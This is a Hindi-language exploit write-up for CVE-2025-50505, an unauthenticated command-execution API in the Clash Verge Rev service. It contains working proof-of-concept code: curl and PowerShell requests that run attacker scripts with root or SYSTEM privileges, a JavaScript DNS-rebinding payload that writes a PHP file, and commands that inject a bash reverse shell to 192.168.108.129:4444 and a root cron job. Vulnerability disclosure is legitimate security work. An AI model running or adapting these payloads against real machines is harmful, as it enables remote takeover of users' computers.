
CVE-2025-50505 के लिए एक्सप्लॉइट, Clash Verge Rev में, जो अनधिकृत API के माध्यम से स्थानीय विशेषाधिकार वृद्धि और रिमोट कोड निष्पादन को प्रदर्शित करता है, जिसमें DNS रिबाइंडिंग और रिवर्स शेल तकनीकें शामिल हैं।
अनधिकृत API के कारण Clash Verge Rev में मनमाने कमांड निष्पादन तथा विशेषाधिकार वृद्धि
यह दोष clash-verge-service घटक द्वारा उजागर एक अप्रमाणित API एंडपॉइंट से उत्पन्न होता है, जो डिफ़ॉल्ट रूप से उन्नत विशेषाधिकारों के साथ स्थापित होता है। यह त्रुटि हमलावरों को मनमाने कमांड निष्पादित करने की अनुमति देती है, जिससे दो मुख्य हमले परिदृश्य उत्पन्न होते हैं: होस्ट मशीन पर स्थानीय विशेषाधिकार वृद्धि (LPE) तथा विशिष्ट स्थितियों के तहत दूरस्थ कोड निष्पादन (RCE)।
RCE वेक्टर का शोषण उसी स्थानीय क्षेत्र नेटवर्क (LAN) पर स्थित हमलावरों द्वारा किया जा सकता है यदि उपयोगकर्ता ने LAN कनेक्शन सक्षम किया हो। अधिक गंभीर रूप से, DNS रीबाइंडिंग हमले के साथ इस दोष को जोड़कर सार्वजनिक इंटरनेट से इसका शोषण किया जा सकता है, जिससे हमलावर ब्राउज़र सुरक्षा नीतियों को दरकिनार कर पीड़ित की मशीन पर केवल एक दुर्भावनापूर्ण वेबसाइट पर जाने से कमांड निष्पादित कर सकते हैं।
इस दोष की प्रारंभिक सार्वजनिक चेतावनी @KawaiiZapic द्वारा X पर प्रदान की गई थी।
clash-verge-service घटक उच्च विशेषाधिकारों (रूट या SYSTEM) के साथ चलता है और 127.0.0.1:33211 पर एक अप्रमाणित HTTP API उजागर करता है। यह दोष /start_clash एंडपॉइंट में स्थित है, जो Mihomo कोर प्रक्रिया के स्टार्टअप को नियंत्रित करने के लिए एक JSON पेलोड स्वीकार करता है।
सेवा इस पेलोड के कई मापदंडों के आधार पर एक कमांड बनाती और निष्पादित करती है, जो निम्नलिखित संरचना के समान होती है:
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
महत्वपूर्ण रूप से, सभी चार मापदंड—bin_path, config_dir, config_file, और log_file—हमलावर द्वारा पूरी तरह से नियंत्रणीय हैं। हालांकि Rust क्लासिक कमांड इंजेक्शन (जैसे, कमांड को जोड़ने के लिए ; या | का उपयोग) के विरुद्ध अंतर्निहित सुरक्षा प्रदान करता है, हमलावर का संपूर्ण कमांड संरचना पर नियंत्रण दो-चरणीय हमले को मनमाना कोड निष्पादन प्राप्त करने में सक्षम बनाता है।
/start_clash इंटरफेस के लिए कोई प्रमाणीकरण लागू नहीं किया गया हैclash-verge-service/src/service/mod.rs
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() start_mihomo() को कॉल करता है और start_mihomo() फंक्शन process::spawn_process(bin_path, &args, log) को कॉल करता है जिसमें bin_path पास किया जाता है। spawn_process() कमांड को निष्पादित करने के लिए std::Command::new(command) को कॉल करता हैclash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

इस दोष को दो परिदृश्यों में RCE तक बढ़ाया जा सकता है।
यदि कोई उपयोगकर्ता Clash Verge Rev क्लाइंट में "Allow LAN"(局域网连接) विकल्प सक्षम करता है, तो एप्लिकेशन का प्रॉक्सी सर्वर उसी स्थानीय नेटवर्क पर सभी उपकरणों के लिए सुलभ हो जाता है। उसी LAN पर एक हमलावर अपने दुर्भावनापूर्ण अनुरोध को पीड़ित के उजागर प्रॉक्सी के माध्यम से निर्देशित करके इसका शोषण कर सकता है।
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
LAN पहुंच की आवश्यकता के बिना इंटरनेट से एक अधिक उन्नत हमला किया जा सकता है। हमले की श्रृंखला DNS रीबाइंडिंग को एक विशिष्ट ब्राउज़र व्यवहार के साथ जोड़ती है जिसे "0.0.0.0-day" शोषण के रूप में जाना जाता है।
इस हमले की कुंजी यह है कि Firefox और क्रोमियम के कुछ संस्करण IP पते 0.0.0.0 को 127.0.0.1 के उपनाम के रूप में मानते हैं। यह हमलावर को समान-मूल नीति (SOP) और निजी नेटवर्क एक्सेस (PNA) जैसी आधुनिक ब्राउज़र सुरक्षा सुविधाओं को दरकिनार करने की अनुमति देता है।
हमले का प्रवाह इस प्रकार है:
attacker.com) पर होस्ट की गई एक दुर्भावनापूर्ण वेबसाइट पर जाता है।attacker.com को उसके वास्तविक सार्वजनिक IP पते पर हल करता है। दुर्भावनापूर्ण पेज पीड़ित के ब्राउज़र में लोड होता है।attacker.com के लिए IP को 0.0.0.0 में बदल देता है।attacker.com को फिर से हल करता है और अब 0.0.0.0 प्राप्त करता है।127.0.0.1 पर भेज दिया जाता है।चूंकि अनुरोध का मूल अभी भी attacker.com है, स्क्रिप्ट सफलतापूर्वक सुरक्षा प्रतिबंधों को दरकिनार करती है और 127.0.0.1:33211 पर कमजोर clash-verge-service API के साथ सीधे संवाद करती है, जिससे दूरस्थ कोड निष्पादन प्राप्त होता है।
/**
* Clash-Verge-Rev payload
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] sent"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
PHP प्रोब को किसी भी स्क्रिप्टिंग भाषा से बदलें जो सीमा चिह्नों का समर्थन करती है। यदि आप रूट शेल प्राप्त करना चाहते हैं, तो अगले अनुभाग को देखें और पेलोड को संशोधित करें।
./singularity-server --HTTPServerPort 33211https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

नोट: Content-Type को application/json में कस्टमाइज़ करते समय, no-cors सेट न करें। First then second एक धीमी लेकिन अधिक स्थिर DNS रीबाइंडिंग मोड है। आप multiple answers भी चुन सकते हैं, लेकिन यह कुछ सार्वजनिक DNS सर्वरों द्वारा कम किया जा सकता है, जिससे हमला विफल हो सकता है।
MacOS और कुछ Linux सिस्टम (जैसे Kali) में zsh स्थापित है, जो -d और -f के साथ स्क्रिप्ट निष्पादित करने की अनुमति देता है।
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# या क्रॉन जॉब सेट करें
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
इन शर्तों के तहत कमांड को सफलतापूर्वक निष्पादित करने के लिए zsh का उपयोग किया जा सकता है, यह सुझाव देने के लिए @Esonhugh का धन्यवाद।
नवीनतम संस्करण में अपडेट करें।